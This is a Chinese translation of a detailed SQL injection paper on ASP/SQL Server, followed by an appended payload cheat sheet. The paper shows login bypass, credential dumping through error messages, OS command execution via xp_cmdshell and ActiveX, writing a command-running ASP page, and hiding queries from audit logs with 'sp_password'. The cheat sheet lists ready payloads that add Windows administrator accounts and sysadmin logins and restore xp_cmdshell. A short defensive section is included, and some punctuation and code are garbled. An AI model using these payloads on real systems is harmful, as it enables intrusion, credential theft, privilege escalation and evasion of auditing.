这篇文章讨论常用的"sql注入"技术的细节,应用于流行的Ms IIS/ASP/SQL-Server平台。这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法。这篇文章面向两种读者:一是基于数据库web程序开发人员和审核各种web程序的安全专家。
[介 绍]
结构化查询语言(SQL)是一种用来和数据库交 互的文本语言SQL语言多种多样,大多的方言版本都共同宽松地遵循SQL-92标准(最新的ANSI标准[译者注:目前最新的是SQL-99])。SQL 运行的典型的操作是“查询”,它是可以让数据库返回“查询结果记录集”的语句集合。SQL语句可以修改数据库的结构(用数据定义语言"DDL")和操作数 据库里的数据(用数据操作语言"DML")。我们在这里着重讨论Transact-SQL(交互式SQL),应用于SQL-Server的SQL一种方言 (非标准SQL)。如果攻击者可以插一系列的SQL语句进入应用程序的数据查询时,Sql注入攻击就可能发生。
一个典型的SQL语句是这样的:
1 select id, forename, surname from authors
这个查询语句将会从\'authors\'表中返回\'id\',\'forename\'和\'surname\'列的所有行。返回的结果集也可以加以特定条件\'author\'限制:
select id, forename, surname from authors where forename = \'john\' and surname = \'smith\'
注意这里很重要的一点是\'john\'和\'smith\'是被单引号引住的,假设\'forename\'和\'surname\'字段是来自于用户的输入,攻击者就可能通过输入非法字符串来对这个查询进行SQL注入:
Forename:jo\'hn
Surname: smith
查询语句就会变成:
1 select id, forename, surname from authors where forename = \'jo\'hn\' and surname = \'smith\'
当数据库试图执行这个查询,它会返回这样的错误:
1 Server:Msg 170, Level 15, State 1, Line 1
2
3 Line 1:Incorrect syntax near \'hn\'
这是因为插入的单引号破坏了原来单引号引住的数据,数据库执行到\'hn\'时失败。如果攻击者这样输入:
Forename: jo\'; drop table authors——
Surname:
……authors表就会被删掉,原因过一会再解释。
似乎通过删除用户输入的字符串中的单引号或者通过一些方法避免它们出现可以解决这个问题。诚然如此,但是要实施这个解决方法还有很多的困难。因 为首先:不是所有的用户提交的数据都是字符串形式,比如我们的用户输入通过\'id\'(看上去是个数字)来选择一个用户,我们的查询可能会这样:
select id,forename,surname from authors where id=1234
在这种情况下攻击者可以轻易的在数值输入后面添加SQL语句。在其他SQL方言中,使用着各种分隔符,比如MS Jet DBMS引擎,日期可以用\'#\'符号来分隔。
其次,避免单引号并不像开始我们想象的那样是必要的解决办法,原因下面讨论。
我们将以Active Server Pages(ASP)登陆页面为例子来详细说明,它访问一个Sql-Server数据库并且验证一个到我们假想的程序的访问。
这是用户填写用户名和密码的表单页面:
〈HTML〉
〈HEAD〉
〈TITLE〉Login Page〈/TITLE〉
〈/HEAD〉
〈BODY bgcolor=\'000000\' text=\'cccccc\'〉
〈FONT Face=\'tahoma\' color=\'cccccc\'〉
〈CENTER〉〈H1〉Login〈/H1〉
〈FORM action=\'process_login.asp\' method=post〉
〈TABLE〉
〈TR〉〈TD〉Username:〈/TD〉〈TD〉〈INPUT type=text name=username size=100%width=100〉〈/INPUT〉〈/TD〉〈/TR〉
〈TR〉〈TD〉Password:〈/TD〉〈TD〉〈INPUT type=password name=password size=100%
width=100〉〈/INPUT〉〈/TD〉〈/TR〉
〈/TABLE〉
〈INPUT type=submit value=\'Submit\'〉 〈INPUT type=reset value=\'Reset\'〉
〈/FORM〉
〈/FONT〉
〈/BODY〉
〈/HTML〉
这是\'process_login.asp\'的代码, 它处理用户登陆:
〈HTML〉
〈BODY bgcolor=\'000000\' text=\'ffffff\'〉
〈FONT Face=\'tahoma\' color=\'ffffff\'〉
〈STYLE〉
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
〈/STYLE〉
〈%@LANGUAGE = JScript %〉
〈%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = \'" + username + "\'
and password = \'" + password + "\'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%〉〈FONT Face=\'tahoma\' color=\'cc0000\'〉
〈H1〉
〈BR〉〈BR〉
〈CENTER〉ACCESS DENIED〈/CENTER〉
〈/H1〉
〈/BODY〉
〈/HTML〉
〈%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%〉
〈FONT Face=\'tahoma\' color=\'00cc00\'〉
〈H1〉
〈CENTER〉ACCESS GRANTED〈BR〉
〈BR〉
Welcome,
〈% Response.write(rso("Username"));
Response.write( "〈/BODY〉〈/HTML〉" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
nnectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length 〉 0)
{
Login( cn );
}
cn.close();
}
Main();
%〉
这里讨论的是\'process_login.asp\'中的创建\'query string\'的部分:
var sql = "select * from users where username = \'" + username + "\' and password = \'" + password + "\'";
如果用户指定了下面这样的数据:
Username: \'; drop table users——Password:
\'users\'表会被删除,所有用户都不能登陆。\'——\'是Transact-SQL(交互式SQL)的单行注释符,\';\'标志着一个查询的结束另一个查询的开始。用户名最后的\'——\'用来使这个特殊的查询无错误结束。
攻击者只要知道用户名,就可以通过以下的输入以任何用户的身份登陆:
Username: admin\'——
攻击者可以通过下面的输入以用户表里的第一个用户来登陆:
Username: \' or 1=1——
……更有甚者,攻击者通过以下的输入可以以任意虚构的用户登陆:
Username: \' union select 1, \'fictional_user\', \'somoe_password\', 1——
因为程序相信攻击者指定的常量是数据库返回的记录集的一部分。
[通过错误信息获取信息]
这个技术是David Litchfield在一次渗透入侵测试中首先发现的,后来david写了篇关于这个技术的文章,很多作者都参考过这篇作品。这里我们讨论“错误消息”技术潜在的机制,使读者可以充分理解它并且能灵活应用。
为了操作数据库里的数据,攻击者要确定某个数据库的结构。例如:我们的"user"表是用下面的语句建立的:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
并且插入了下面的用户:
insert into users values( 0, \'admin\', \'r00tr0x!\', 0xffff )
insert into users values( 0, \'guest\', \'guest\', 0x0000 )
insert into users values( 0, \'chris\', \'password\', 0x00ff )
insert into users values( 0, \'fred\', \'sesame\', 0x00ff )
我们假设攻击者要为自己插入一个用户,如果不知道表的结构的话,他不可能成功。即使他运气好,\'priv\'字段的重要性还不清楚。攻击者可能插入\'1\',给自己在程序里添加了一个低权限的用户,而他的目标是管理员的权限。
对于攻击者来说幸运的是:如果程序返回错误(asp默认如此),攻击者可以猜测整个数据库的结构,读取ASP程序连接到SQL-Server的帐号权限内可以读取的任何值。
(下面给出的使用上面提供的示例数据库和asp脚本来说明这些技术怎样实现的)
首先,攻击者要确定查询的表名和字段名。要做到这点,攻击者可以使用\'select\'语句的\'having\'子句:
username: \' having 1=1 ——
这会引起下面的错误(译者注:having字句必须和GROUP BY或者聚合函数一起配合使用,否则出错):
Microsoft OLE DB Provider for ODBC Drivers error \'80040e14\'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column \'users.id\' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35
所以攻击者就知道了表名和第一列的列名,他们可以通过给每列加上\'group by\'子句继续得到其他列名,如下:
username: \' group by users.id having 1=1 ——
(结果产生这样的错误)
Microsoft OLE DB Provider for ODBC Drivers error \'80040e14\'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column \'users.username\'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最后攻击者得到了下面的\'username\':
\' group by users.id, users.username, users.password, users.privs having 1=1——
这句没有错误,相当于:
select * from users where username = \'\'
所以攻击者知道了查询只是关于\'users\'表的,并且顺序使用了列\'id,username,password,rpivs\'.
如果攻击者能确定各列的数据类型将会很有用,可以利用类型转换错误信息来达到这一点,看下面的例子:
Username: \' union select sum(username) from users——
这利用了SQL-Server试图在确定两行是否相同之前先执行\'sum\'子句的特性,计算文本域的和会返回这样的信息:
Microsoft OLE DB Provider for ODBC Drivers error \'80040e07\' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35
它告诉我们\'username\'字段的类型是\'varchar\'.相反的,如果我们试图计算数值型的字段,但结果两行的列数并不匹配:
Microsoft OLE DB Provider for ODBC Drivers error \'80040e07\'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
我们可以用这个技术来大概地确定数据库内各列的类型。
这样攻击者就可以写出一个格式完美的\'insert\'语句:
Username: \'; insert into users values( 666, \'attacker\', \'foobar\', 0xffff )——
但是,这个技术的潜力不止这些。攻击者可以利用任何错误信息来暴露系统环境或者数据库信息。执行下面的语句可以得到一个标准错误信息的清单:
select * from master……sysmessages
检查这个清单可以发现很多有趣的信息。
一个特别有用的信息有关类型转换,如果你试图将一个字符串转换成整型,整个字符串的内容将会出现在错误信息里。以我们登陆页的例子来说,使用下面的\'username\'将会返回SQL-Server的版本以及它所在服务器操作系统的版本信息:
Username: \' union select @@version,1,1,1——
Microsoft OLE DB Provider for ODBC Drivers error \'80040e07\'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value \'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) \' to a column of
data type int.
/process_login.asp, line 35
这试图将内置常量\'@@version\'转换成整型,因为\'users\'表第一列是整数。
这个技术可以用来读取任何数据库的任何表的任何内容,如果攻击者对用户名和密码感兴趣,他们就可以从\'users\'表读用户名:
Username: \' union select min(username),1,1,1 from users where username > \'a\'——
这将选出比\'a\'大的最小用户名,而且试图将它转换成一个整数:
Microsoft OLE DB Provider for ODBC Drivers error \'80040e07\'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value \'admin\' to a column of data type int.
/process_login.asp, line 35
攻击者就知道\'admin\'帐号存在,他现在可以把他发现的用户名放进\'where\'子句来反复测试这行:
Username: \' union select min(username),1,1,1 from users where username > \'admin\'——
Microsoft OLE DB Provider for ODBC Drivers error \'80040e07\'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value \'chris\' to a column of data type int.
/process_login.asp, line 35
一旦攻击者确定了用户名,他就可以搜集密码;
Username: \' union select password,1,1,1 from users where username = \'admin\'——
Microsoft OLE DB Provider for ODBC Drivers error \'80040e07\'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value \'r00tr0x!\' to a column of data type int.
/process_login.asp, line 35
一个更“别致”的技术是将用户名和密码连接成一个单独的字符传,然后试图将它转换成整型。这将举另一种例子;Transact-SQL语句可以将字符串连接成一行而不改变他们的意义,下面的脚本将连接这些值:
begin declare @ret varchar(8000)
set @ret=\':\'
select @ret=@ret+\' \'+username+\'/\'+password from users where
username>@ret
select @ret as ret into foo
end
攻击者用这个\'username\'登陆(明显都在同一行)
Username: \';begin declare @ret varchar(8000) set @ret=\':\' select @ret=@ret+\' \'+username+\'/\'+password from users where username>@ret select @ret as ret into foo end——
这创建了一个只包含单列\'ret\'的表\'foo\',而且把我们的字符串放在里面。通常一个低权限的用户可以在示例数据库里创建表,或者一个临时表。
之后攻击者选择查询表里的字符串,就像前面说的:
Username: \' union select ret,1,1,1 from foo——
Username: \' union select ret,1,1,1 from foo——
Microsoft OLE DB Provider for ODBC Drivers error \'80040e07\'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value \': admin/r00tr0x! guest/guest chris/password
fred/sesame\' to a column of data type int.
/process_login.asp, line 35
然后删除这个表:
Username: \'; drop table foo——
这些例子仅仅揭开了这项技术的神秘面纱,不用说,如果攻击者可以从数据库获得丰富的错误信息,他们的工作将大大的简化。
[更深入的访问]
一旦攻击者可以控制数据库,他们可能想通过这些权限来获得对网络更多的控制,可以通过很多方法来达到这一目的:
1.利用xp_cmdshell扩展存储以SQL-Server用户的身份在数据库服务器上执行命令
2.利用xp_regread扩展存储读取注册表的键值,也包括SAM(只要SQL-Server是以一个本地帐号运行的)
3.用其他的扩展存储改变服务器设置
4.在联合服务器上执行查询
5.创建客户扩展存储从而在SQL-Server进程内运行exploit
6.用\'bulk insert\'语句去读服务器上任何文件
7.用bcp在服务器上创建任何文本文件
8.用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程来创建ActiveX对象来完成asp脚本可以做的任何事情
这些只是常见的攻击方法的一部分;攻击者也很可能通过其他方法来达到目的,我们列举这些SQL-Server相关的攻击方法是为了说明如果程序可以被注入SQL语句时可能会发生什么,我们将依次给出以上各种情况的对策。
[xp_cmdshell]
扩展存储的本质是编译了的动态链接库(DLLs),它用SQL-Server指定的调用方式去运行接口函数。他们允许SQL-Server程序 拥有了和c/c++一样的功能,是个非常有用的特性。SQL-Server内置了大量的扩展存储,而且有各种各样的函数比如发送邮件和更改注册表。
xp_cmdshell是一个内置的扩展存储,它允许执行任意的命令行程序。例如:
exec master……xp_cmdshell \'dir\'
将会获得一个SQL-Server进程所在工作目录的列表
exec master……xp_cmdshell \'net1 user\'
将提供主机用户的列表。如果SQL Server正常的以本地\'system\'帐号或者\'domain user\'帐号运行,攻击者可以造成更严重破坏。
[xp_regread]
另外一个有用的内置的扩展存储是xp_regXXX函数
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
其中一些函数的用法的举例:
exec xp_regread HKEY_LOCAL_MACHINE
\'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\',
\'nullsessionshares\'
(它决定服务器的空连接式共享是否可用)
exec xp_regenumvalues HKEY_LOCAL_MACHINE
\'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities\'
(它显示所有的服务器上SNMP公共的设置,通过这个信息,攻击者可以在相同的网络区域里重新配置网络设置,因为SNMP共有设置很少被改变而且由很多主机共享)
可以想象攻击者怎样利用这些函数来读取SAM文件,改变系统设置在重新启动后就被服务的应用,或者在用户下一次登陆时运行任意命令。
[其他扩展存储]
xp_servicecontrol扩展存储允许用户启动,停止,暂停或者运行服务。
exec master……xp_servicecontrol \'start\', \'schedule\'
exec master……xp_servicecontrol \'start\', \'server\'
下面是一些其他有用的扩展存储表:
xp_availablemedia 显示机器上可用的驱动器
xp_dirtree 获得一个目录树
xp_enumdsn 列举服务器上的ODBC数据源
xp_loginconfig 显示服务器的安全状态信息
xp_makecab 允许用户在服务器上创建压缩文件(或者任何服务器可以访问的文件)
xp_ntsec_enumdomains 列举服务器可以访问的域
xp_terminate_process 结束一个给定PID进程
[联合服务器]
SQL-Server提供了一个服务器联合的机制,就是允许一个数据库服务器上的查询操作其他服务器的数据。这些联合设置存放在master……sysservers表里,如果一个相连的服务器使用了\'sp_addlinkedsrvlogin\'存储过程,一个自动的登陆了的连接已经存在,可以通过它不登陆而访问该服务器。\'openquery\'函数允许查询在联合服务器上执行。
[用户自定义扩展存储]
扩展存储的API是相当简单的,创建一个带有恶意代码的扩展存储DLL也是相当容易的。通过命令行有很多方法将DLL上传到服务器,还有其他的很多方法包括各种通信机制来自动实现,比如HTTP下载和FTP脚本。
一旦DLL文件出现在服务器上SQL-Server可以访问,这不一定需要SQL-server本身,攻击者可以通过下面添加扩展存储(这里,我们的恶意扩展存储是个用来操作服务器的文件系统小的木马)
sp_addextendedproc \'xp_webserver\', \'c:\temp\xp_foo.dll\'
扩展存储就可以通过一般的方法调用:
exec xp_webserver
一旦这个扩展存储执行过,可以这样删除它:
sp_dropextendedproc \'xp_webserver\'
[向表中导入文本文件]
利用\'bulk insert\'语句,可以把一个文本文件的内容插入进一张临时表,我们简单的创建一个表:
create table foo( line varchar(8000) )
然后执行bulk insert来插入数据来自于一个文件:
bulk insert foo from \'c:\inetpub\wwwroot\process_login.asp\'
通过上面介绍过的错误信息技巧就可以得到数据,或者通过一个\'union\'查询,把文本数据作为查询的数据返回。这对于获得存储在数据库里的脚本如asp脚本很有用。
[利用BCP创建文本文件]
利用和\'bulk insert\'作用相反的技术创建任意的文本文件非常简单。不过需要一个命令行工具\'bcp\'(\'bulk copy program\'),因为bcp在SQL-Server进程外访问数据库,它需要一次登陆。但是这不难,因为攻击者都可以创建一个;或者如果服务器配置使用了“完整性”安全模式,攻击者可以利用它。
命令行格式如下:
bcp "SELECT * FROM test……foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
\'S\'参数是要运行查询的服务器,\'U\'参数是用户名,\'P\'是密码,这里的密码是\'foobar\'.
[SQL-Server 里的ActiveX自动脚本]
SQL-Server提供了一些内置的扩展存储,允许在SQL-Server内创建ActiveX自动脚本。这些脚本在功能上和windows scripting host上运行的脚本或者asp脚本(通常用Javascript或者Vbscript编写)一样,脚本创建自动对象并且通过他们产生作用。一个用 Transact-SQL写的自动脚本可以做任何asp脚本或者WSH脚本能做的事。
下面提供一些例子来说明:
1)这个例子用\'wscript.shell\'对象创建一个notepad的实例(当然这里也可以是任何命令行命令)
—— wscript.shell example
declare @o int
exec sp_oacreate \'wscript.shell\', @o out
exec sp_oamethod @o, \'run\', NULL, \'notepad.exe\'
在我们的例子里可以使用这样的用户名(都在一行):
Username: \'; declare @o int exec sp_oacreate \'wscript.shell\', @o out exec sp_oamethod @o, \'run\', NULL, \'notepad.exe\'——
2)这个例子用\'scripting.filesystemobject\'对象去读已知的文本文件:
—— scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate \'scripting.filesystemobject\', @o out
exec sp_oamethod @o, \'opentextfile\', @f out, \'c:\boot.ini\', 1
exec @ret = sp_oamethod @f, \'readline\', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, \'readline\', @line out
end
3)下面的例子创建一个asp脚本执行任意命令:
—— scripting.filesystemobject example - create a \'run this\' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate \'scripting.filesystemobject\', @o out
exec sp_oamethod @o, \'createtextfile\', @f out, \'c:\inetpub\wwwroot\foo.asp\', 1
exec @ret = sp_oamethod @f, \'writeline\', NULL, \' \'
需要注意的很重要的一点是Windows NT4,IIS4平台asp脚本将会以\'system\'的帐号运行,而在IIS5他们会以低权限的IWAM_xxx帐号运行。
4)这个例子(稍带欺骗性)说明这项技术的灵活性,它用\'speech.voicetext\'(译者注:参考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/html/)对象,使SQL Server说话:
declare @o int, @ret int
exec sp_oacreate \'speech.voicetext\', @o out
exec sp_oamethod @o, \'register\', NULL, \'foo\', \'bar\'
exec sp_oasetproperty @o, \'speed\', 150
exec sp_oamethod @o, \'speak\', NULL, \'all your sequel servers are belong to,us\', 528
waitfor delay \'00:00:05\'
这当然也可以在我们的例子里使用,通过指定下面的\'username\'(注意例子不只是注入一段脚本,同时也以\'admin\'的身份登陆了程序)
用户名: admin\';declare @o int, @ret int exec sp_oacreate \'speech.voicetext\',@o out exec sp_oamethod @o, \'register\', NULL, \'foo\',\'bar\' exec sp_oasetproperty @o, \'speed\', 150 exec sp_oamethod @o, \'speak\', NULL, \'all your sequel servers are belong to us\', 528 waitfor delay \'00:00:05\'-
[存储过程]
传统的认识是如果ASP程序使用了数据库系统的存储过程,那么就不可能SQL注入了。这句话不完全对,这依赖于ASP脚本调用存储过程的方式。
本质上,一个带参数的查询执行了,用户提供的参数就被安全的传给查询,SQL注入就不可能了。但是,如果攻击者可以对无数据部分的查询语句施加任何影响,他们仍然可能控制数据库。
一个有用的规则是:
1. 如果ASP脚本创建了一个提交给服务器的SQL查询语句,这是很容易被SQL注入的,即使它使用了存储过程。
2. 如果ASP脚本使用了封装传递参数给存储过程的过程对象(如ADO command对象,和参数集合一起使用的)那么它通常就很安全了,但是这还要取决于对象的执行。
明显的,最好习惯于验证所有的用户输入,因为新的攻击技术会不停的涌现。
为了说明存储过程查询的注入,运行下面的SQL语句:
sp_who \'1\' select * from sysobjects
或者
sp_who \'1\' ; select * from sysobjects
任何附加语句在存储过程执行后还是可以执行。
[高级Sql注入]
一个应用程序通常过滤单引号,另一方面限制用户的输入,比如限制长度。
在这里,我们将讨论一些绕过一些明显的SQL注入防范的和长度限制的技巧。
[没有符号的字符串]
有时候,开发人员可能已经通过过滤单引号来保护应用程序,比如用VBScript的\'replace\'函数:
function escape( input )
input = replace(input, "\'", "\'\'")
escape = input
end function
不可否认,这会阻止所有的对我们上面给出的对示例站点的攻击,删除\';\'字符也会起作用。但是,在一个大的程序里一些用户输入可能被假定为数值型。这些值没有限制,提供了很多可以注入的地方。
如果攻击者希望创建一个字符串值而不使用引号,他们可以用\'char\'函数。例如:
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)
它是一个往表里插入字符的不带引号的查询语句。
当然,如果攻击者使用一个数值型的用户名和密码的话,下面的语句也同样可以很好的执行:
insert into users values( 667,
123,
123,
0xffff)
因为SQL-Server自动将数值型的转换成\'varchar\'类型,类型转换是默认的。
[SQL二次注入]
即使一个程序总是过滤单引号,攻击者仍然可以先注入SQL作为数据存放在数据库里然后被程序再次使用。
比如,一个攻击者可能通过注册,创建一个用户名
Username: admin\'——
Password: password
程序正确的过滤了单引号,\'insert\'语句如下:
insert into users values ( 123, \'admin\'\'——\', \'password\', 0xffff)
我们假设程序允许用户更改密码,ASP脚本在设置新的密码前先确认用户旧密码正确。代码可能这样写:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = \'" + username + "\' and password = \'" + oldpassword + "\'";
rso.open( sql, cn );
if (rso.EOF)
{
…
设置新密码的查询语句可能这样写的:
sql = "update users set password = \'" + newpassword + "\' where username = \'" + rso("username") + "\'"
rso("username")是登陆的查询返回的的用户名。
用户名为admin\'——,上面的查询就变成了这样:
update users set password = \'password\' where username = \'admin\'——\'
因此攻击者可以通过注册了一个名叫admin\'——的用户来把admin的密码改成他们自己的。
这是个危险的问题,目前大部分的大型程序都试图过滤数据。最好的解决方法是拒绝非法输入,而不是简单的改变它。这有时候会导致一些问题,非法字符在某些地方是必要的,比如在名字带符号的情况:
O\'Brien
从安全的角度,最好的解决办法是不允许出现单引号。如果这样不行,必须避免它们出现,这种情况下,最好保证所有要进入SQL语句的字符(包括从数据库里取出的字符)都被正确的处理过。
即使这样攻击依然可能实现:如果攻击者可以不经过程序而往系统插入数据。比如攻击者有一个email接口,或者有一个可以控制的错误记录数据库。最好总是验证所有的数据,包括系统里的数据,验证函数调用很简单,比如:
if ( not isValied( "email", request.querystring("emil") ) ) then response.end
或者其他的方法
[长度限制]
有时候输入对数据的长度加以限制会使攻击困难许多,这的确阻止了一些攻击,但一个很短的SQL语句也可能造成非常大的危害:
Username: \';shutdown——
关闭SQL-Server,只用了12个字符。另一个例子:
drop table
如果长度限制是在字符串过滤后,另一个问题可能会发生。假设用户名被限制在16个字符之内,密码也被限制在16个字符之内,下面的用户名和密码结合可以执行\'shutdown\'命令:
Username:aaaaaaaaaaaaaaa\'
Password:\'; shutdown——
原因是程序过滤用户名最后的单引号,但是字符串又被切回到16个字符,删除了过滤的单引号。结果是密码域可以包含一些SQL, 只要它以一个单引号开始,最后的查询会变成这样:
select * from users where username = \'aaaaaaaaaaaaaa\'\' and password=\'\'\';shutdown——
用户名在查询里就变成:
aaaaaaaaaaaaaaa\' and password=\'
后面附上的SQL被执行。
[躲避审核]
SQL Server在sp_traceXXX系列的函数包含丰富审核接口,它可以记录任何数据库里的事件。这里我们特别感兴趣的是T-SQL事件,它记录了所有的SQL语句以及服务器上准备好的和已运行了的批处理。如果这个级别的审核开启的话,所有我们讨论的注入都将被记录下来有经验的数据库管理员将会看到所有发生的事情。但是如果攻击者附加下面的字符:
sp_password
到一个Transact-SQL语句,这个审核记录如下:
—— \'sp_password\' was found in the text of this event.
—— The text has been replaced with this comment for security reasons.
这在所有的的T-SQL日志记录时都会发生,即使\'sp_password\'出现在注释中。这当然是在用户传递sp_password时有意隐藏用户的明文密码,但这对攻击者相当有用。
所以,为了隐藏所有的注入攻击者只需要在注释符\'——\'后面加一个字符串:
Username: admin\'——sp_password
事实上一些执行了的SQL将被记录,但是查询字符串本身被强制不记录。
[防 范]
这部分讨论一些针对这些攻击的防范措施。输入验证已经讨论过了,一些代码也给出了,后面我们研究SQL-Server防范问题。
[输入验证]
输入验证是一个很复杂的问题。一般在一个开发项目中它很少被注意,因为过度的验证往往使一个程序的某部分被打断,所以输入验证是个难题。输入验证往往不加到程序的功能里,因而在工期将至而赶程序时不会被人注意。
下面是关于验证的简单的讨论附示例代码,这个示例代码当然不能直接用在程序里,但可以很好的说明不同的策略。
各种数据验证的途径可以分类为以下几种:
1)整理数据使之变得有效
2)拒绝已知的非法输入
3)只接受已知的合法的输入
有很多概念上的问题;首先,开发者没有必要知道非法数据由什么组成,因为新形式的非法数据随时都可能产生。第二,改变数据会改变它的长度,这样会导致前面提到的问题。最后,还有需要对系统已有数据的重用的话有二次注入的问题。
解决方案2也会遇到和1的一些相似的问题,了解非法数据会过时,因为新的攻击技术也在发展。
解决方案3可能是三种方法中最好的,但是比较难于执行。
从安全角度来考虑可能最好多解决方法是把解决方案2和3结合起来只允许合法的输入,然后再寻找非法字符。
一个必须结合这两种途径的例子是带有连字符的名字的问题:
Question Bassington-Bassington
我们必须在合法输入里允许连字符号,但是也要明白字符串\'——\'在SQL-Server里意味着什么。
当数据整理结合了非法字符验证时另一个问题就会发生。假设我们应用“非法字符探测器”来探测\'——\',\'select\'和\'union\'“后使用”数据整理过滤器“删除单引号,攻击者就可以指定这样的输入:
uni\'on sel\'ect @@version-\'-
因为单引号被过滤器删除了,攻击者可以把单引号散布于它的已知的非法字符串里来躲避检查。
下面是一些验证的代码:
方法1-躲避单引号
function escape( input )
input = replace(input, "\'", "\'\'")
escape = input
end function
方法2-抵制已知的非法输入
function validate_string( input )
know_bad = array( "select", "insert", "update", "delete", "drop", "——", "\'")
validate_string = true
for i = lbound( know_bad ) to ubound( known_bad )
if( instr( 1, input, known_bad(i), vbtextcompare) <> 0 )
validate_string = false
exit function
end if
next
end function
方法3-只允许合法输入
function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( instr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
sql注入语句大全
--是否存在xp_cmdshell
and 1=(select count(*) from master.dbo.sysobjects where xtype = \'x\' and name = \'xp_cmdshell\')
--用xp_cmdshell执行命令
;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup name administrators /add"--
--查看权限
and (select IS_SRVROLEMEMBER(\'sysadmin\'))=1-- //sa
and (select IS_MEMBER(\'db_owner\'))=1-- // dbo
and (select IS_MEMBER(\'public\'))=1-- //public
--创建个登陆mssql的帐号
;exec master.dbo.sp_addlogin name,pass;--
--把创建的mssql登陆帐号提升到sysadmin
;exec master.dbo.sp_addsrvrolemember name,sysadmin;--
有用的扩展
--获得MS SQL的版本号 //mssql版本
execute master..sp_msgetversion // dbo public
--得到硬盘文件信息 //dbo public
--参数说明:目录名,目录深度,是否显示文件 //读取磁盘目录和文件
execute master..xp_dirtree \'c:\' //列出所有c:\文件和目录,子目录
execute master..xp_dirtree \'c:\',1 //只列c:\文件夹
execute master..xp_dirtree \'c:\',1,1 //列c:\文件夹加文件
--列出服务器上所有windows本地组
execute master..xp_enumgroups //dbo
--得到当前sql server服务器的计算机名称 //获得计算机名
execute master..xp_getnetname //dbo public
--列出指定目录的所有下一级子目录
EXEC [master].[dbo].[xp_subdirs] \'c:\WINNT\' //可以列目录
--列出服务器上固定驱动器,以及每个驱动器的可用空间
execute master..xp_fixeddrives //dbo public
--显示系统上可用的盘符
execute master..xp_availablemedia //dbo
--获取某文件的相关属性
execute master..xp_getfiledetails \'C:1.txt\' //dbo public
--统计数据库里每个表的详细情况
exec sp_MSforeachtable \'sp_spaceused \'\'?\'\'\' //查询表 //dbo public
--获得每个表的记录数和容量
exec sp_MSforeachtable \'select \'\'?\'\'\',\'?\', \'sp_spaceused \'\'?\'\'\', \'SELECT count(*) FROM ? \' //dbo pubilc
--更新Table1/Table2中note列为NULL的值
sp_MSforeachtable \'Update ? Set note=\'\'\'\' Where note is null\',null,null,null,\' AND o.name in (\'\'Table1\'\',\'\'Table2\'\')
--列出服务器域名
xp_ntsec_enumdomains //机器名 //dbo public
--停止或者启动某个服务
xp_servicecontrol \'stop\',\'schedule\' //schedule是服务得名称 //dbo
--用pid来停止某个执行中的程序
xp_terminate_process 123 //123是pid //dbo
--只列某个目录下的子目录
dbo.xp_subdirs \'C:\' //dbo
--服务器安全模式信息
xp_loginconfig //dbo
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
--将新扩展存储过程的名称注册到 Microsoft? SQL Server? 上。
sp_addextendedproc xp_cmdshell,@dllname=\'xplog70.dll\' //恢复xp_cmdshell
恢复过程sp_addextendedproc 如下:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,\'sp_addextendedproc\')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
